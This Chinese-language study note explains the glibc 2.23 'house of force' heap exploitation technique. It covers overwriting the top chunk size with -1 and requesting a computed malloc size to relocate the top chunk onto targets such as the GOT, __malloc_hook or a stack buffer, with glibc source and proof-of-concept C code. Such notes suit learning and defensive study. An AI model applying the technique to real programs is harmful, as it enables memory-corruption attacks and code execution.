Heap基础知识
[toc]
house of force
一句话描述该漏洞,在glibc 2.23下,通过控制top chunk的size域为一个特别大的值,导致可以通过malloc特别大的值或者负数来将top chunk的指针指向任意位置。
你需要进行控制的:
top chunk的size域
- 你需要可以
malloc一个特别大的值
- 你需要可以多次
malloc
公式:
1 2 3 4 5
| request_size = new_top_chunk_addr - old_top_chunk_addr - 0x10;
|
原理:
在glibc 2.23中,对于top chunk的检查仅仅只有(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)。
那么,若我们将top chunk的size修改为一个特别大的值,甚至是-1(由于是无符号数在进行判断,那么-1是最大的数),那么便可以申请任意大小的chunk。源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| victim = av->top; size = chunksize(victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
|
这里用wiki的例子,由于堆是低地址到高地址增长,那么可以申请负数地址来申请到更低的地址(例如malloc@got.plt):
1 2 3 4 5 6 7 8 9
| int main() { long *ptr,*ptr2; ptr=malloc(0x10); ptr=(long *)(((long)ptr)+24); *ptr=-1; malloc(-4120); malloc(0x10); }
|
也可以通过申请特别大的值来申请到高地址,例如__malloc_hook(在libc里面)
1 2 3 4 5 6 7 8 9
| int main() { long *ptr,*ptr2; ptr=malloc(0x10); ptr=(long *)(((long)ptr)+24); *ptr=-1; <=== 修改top chunk size malloc(140737345551056); <=== 增大top chunk指针 malloc(0x10); }
|
笔者通过一小段代码在glibc2.23中实现了house of force:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h>
int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); long fake_chunk[0x110]; printf("the addr of fake_chunk is %p.\n", fake_chunk);
long *a = malloc(0x100); long *top_chunk = (long *)((long)a + 0x100); top_chunk[1] = -1;
long diff = (long)&fake_chunk[0] - (long)top_chunk; malloc(diff - 0x10);
long *b = malloc(0x100); printf("the addr of new malloc chunk is %p.\n", b - 2);
return 0; }
|